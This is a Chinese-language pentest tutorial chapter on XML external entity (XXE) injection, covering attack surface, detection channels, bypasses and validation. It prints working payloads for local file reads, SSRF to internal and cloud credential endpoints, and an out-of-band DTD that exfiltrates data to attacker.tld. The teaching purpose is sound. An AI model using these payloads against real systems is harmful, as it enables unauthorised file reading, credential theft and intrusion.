第 5 章 · 05 XXE


文档摘要

第 5 章 · 05 XXE 本节摘要:XML 外部实体注入(XXE)是解析器层面的失败,可读取本地文件、对内部控制面做 SSRF、经实体膨胀做拒绝服务,在某些栈中还能经 XInclude/XSLT 或语言特定的包装器做代码执行。本节讲透 XXE 的攻击面、四类检测通道、核心 payload(本地文件/SSRF/带外参数实体)、关键漏洞(XInclude/XSLT/协议包装器)、特殊上下文(SOAP/SAML/SVG/Office)、绕过技巧与验证方法。原则是:在解析器被证明已加固之前,把每个 XML 输入都当作不受信。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。

第 5 章 · 05 XXE

本节摘要:XML 外部实体注入(XXE)是解析器层面的失败,可读取本地文件、对内部控制面做 SSRF、经实体膨胀做拒绝服务,在某些栈中还能经 XInclude/XSLT 或语言特定的包装器做代码执行。本节讲透 XXE 的攻击面、四类检测通道、核心 payload(本地文件/SSRF/带外参数实体)、关键漏洞(XInclude/XSLT/协议包装器)、特殊上下文(SOAP/SAML/SVG/Office)、绕过技巧与验证方法。原则是:在解析器被证明已加固之前,把每个 XML 输入都当作不受信。

内容来源:原项目知识包 strix/skills/vulnerabilities/xxe.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 识别 XXE 的攻击面(REST/SOAP/SAML、文件上传 SVG/Office、PDF 生成器、配置导入)。
  2. 说明四类检测通道(直接/报错/OAST/时间)的原理。
  3. 掌握核心 payload:本地文件读取、SSRF、带外参数实体(OOB)。
  4. 列举关键漏洞:参数实体、XInclude、XSLT document()、协议包装器。
  5. 说明 SOAP/SAML/SVG/Office 等特殊上下文的处理方式。
  6. 用验证步骤确认漏洞、排除误报
  7. 评估 XXE 的影响等级

一、攻击面

能力:

  • 文件泄露:读取服务器文件与配置
  • SSRF:到达元数据服务、内部管理面板、服务端口
  • DoS:实体膨胀(十亿笑声)、外部资源放大

注入面:

  • REST/SOAP/SAML/XML-RPC、文件上传(SVG、Office)
  • PDF 生成器、构建/报告管线、配置导入器

嵌入(Transclusion):

  • XInclude 与 XSLT document() 加载外部资源

高价值目标:

  • 文件上传:SVG/MathML、Office(docx/xlsx/ods/odt)、基于 XML 的归档;Android/iOS plist、项目配置导入
  • 协议:SOAP/XML-RPC/WebDAV/SAML(ACS 端点);RSS/Atom feed、服务端渲染器与转换器
  • 隐藏路径:参数名 xmluploadimporttransformxsltxslxinclude;处理指令头部

💡 核心心法:XXE 不是某一个端点的问题,而是「这条链路上有没有任何一个 XML 解析器开了实体解析」。后台任务、CLI 工具、第三方 SDK 用的是不同的解析器配置,必须分别测。

二、检测通道

直接型

实体内容在 HTTP 响应、转换输出或错误页中内联泄露。

报错型

诱发解析器错误,经插值消息泄露路径片段或文件内容。

OAST(带外)

经参数实体与外部 DTD 的盲 XXE;用 DNS/HTTP 回调确认。把数据编码进请求路径/参数以带外小秘密(主机名、token)。用 interactsh-client -v 作为回调域名,把它当作外部 DTD 主机(如 <!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">),在 interactsh stdout 上读 DNS/HTTP 命中。

时间型

获取慢或不可路由的资源,产生可测时延差(连接超时 vs 读取超时)。

三、利用方法与技术:核心 payload

本地文件读取

<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <r>&xxe;</r>

Windows:

<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> <r>&xxe;</r>

SSRF

<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]> <r>&xxe;</r>

云元数据:

<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]> <r>&xxe;</r>

带外参数实体(OOB)

当内容不回显时,用参数实体把数据外带:

<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>

evil.dtd:

<!ENTITY % f SYSTEM "file:///etc/hostname"> <!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>"> %e; %exfil;

关键漏洞:参数实体

  • 在 DTD 子集中用参数实体定义外带内容的次级实体
  • 即便 XML 树中的通用实体被净化也有效

XInclude

<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </root>

在实体解析被禁但 XInclude 在管线中仍启用的地方有效。

XSLT document()

XSLT 处理器可经 document() 获取外部资源:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('file:///etc/passwd')"/> </xsl:template> </xsl:stylesheet>

目标:转换端点、报告引擎(XSLT/Jasper/FOP)、xml-stylesheet PI 消费者。

协议包装器

  • Java:jar:netdoc:
  • PHP:php://filterexpect://(模块启用时)
  • Gopher:客户端允许非 HTTP scheme 时,构造到 Redis/FCGI 的原始请求

四、绕过技巧

编码变体:UTF-16/UTF-7 声明、混合换行;CDATA 与注释规避简单过滤器。

DOCTYPE 变体:PUBLIC vs SYSTEM、混合大小写 <!DoCtYpE>;内部 vs 外部子集、多 DOCTYPE 边界处理。

网络控制:网络被封但文件系统可读时,转向本地文件泄露;文件被封但网络开放时,转向 SSRF/OAST。

💡 绕过的本质:XXE 的绕过围绕「让过滤器认不出 DOCTYPE/实体,但解析器仍处理它们」——大小写、编码、CDATA、PUBLIC/SYSTEM 切换都是常见手段。XInclude/XSLT 往往在实体解析被禁后仍然启用,是关键备用面。

五、验证与误报排除

确认一个 XXE 真实存在的稳妥步骤:

  1. 解析器能力:提供最小 payload 证明解析器能力(DOCTYPE/XInclude/XSLT)。
  2. 受控访问:演示对文件路径或内部 URL 的受控访问,带可复现证据。
  3. 盲通道:用 OAST 确认盲通道,并与触发请求关联。
  4. 跨通道一致:如上传和 SOAP 路径表现一致。
  5. 影响界定:精确的文件/数据到达范围或被证明的内部目标。

常见误报:

  • DOCTYPE 被接受但实体未解析,且无嵌入可达
  • 过滤器或沙箱逐字发出实体字符串(未执行 IO)
  • 模拟成功但无网络/文件访问的 mock/stub
  • 仅客户端处理 XML(无服务端解析)

六、影响评估

  • 泄露凭据/密钥/配置、代码与环境秘密
  • 访问云元数据/token 服务与内部管理面板
  • 经实体膨胀或慢外部资源的拒绝服务
  • 经 XSLT/expect:// 在不安全栈中的代码执行

⚠️ XXE 即便「只能读文件」也常是严重——读取 .env.aws/credentials~/.ssh/ 等即可获得凭据,后续横向移动。带 SSRF 能力时,云元数据服务(IAM token)几乎是直接的云账户攻陷。

本节要点回顾

  1. 核心心法:在解析器被证明已加固前,每个 XML 输入都按不受信对待;后台任务用不同解析器配置,必须分别测。
  2. 四大攻击面:文件泄露、SSRF、DoS(实体膨胀)、代码执行(XInclude/XSLT/包装器);高价值目标是文件上传(SVG/Office)与 SOAP/SAML 协议端点。
  3. 四类检测通道:直接(内联回显)、报错(插值消息)、OAST(参数实体 + 外部 DTD,用 interactsh-client)、时间(慢资源)。
  4. 核心 payload:本地文件(file:///etc/passwd)、SSRF(http://127.0.0.1:2375)、OOB 参数实体(外部 DTD 外带 %f;)。
  5. 关键漏洞:参数实体(子集外带)、XInclude(实体被禁后备用)、XSLT document()、协议包装器(Java jar:/netdoc:、PHP php://filter/expect:、Gopher 到 Redis/FCGI)。
  6. 特殊上下文:SOAP(注入 DOCTYPE 进 Body)、SAML(签名验证前的解析器仍处理实体)、SVG/渲染器、Office(OOXML 是含 XML 的 ZIP,改 document.xml 后重打包)。
  7. 验证五步:解析器能力、受控访问、盲通道 OAST、跨通道一致、影响界定;警惕 DOCTYPE 接受但实体未解析、mock/stub、仅客户端处理的误报。

下一节,我们看不安全反序列化——把攻击者控制的字节流或结构化 blob 交给语言原生的 unmarshal 函数,经魔术方法与 gadget 链实现 RCE。


发布者: 作者: 灏天文库 转发
评论区 (0)
U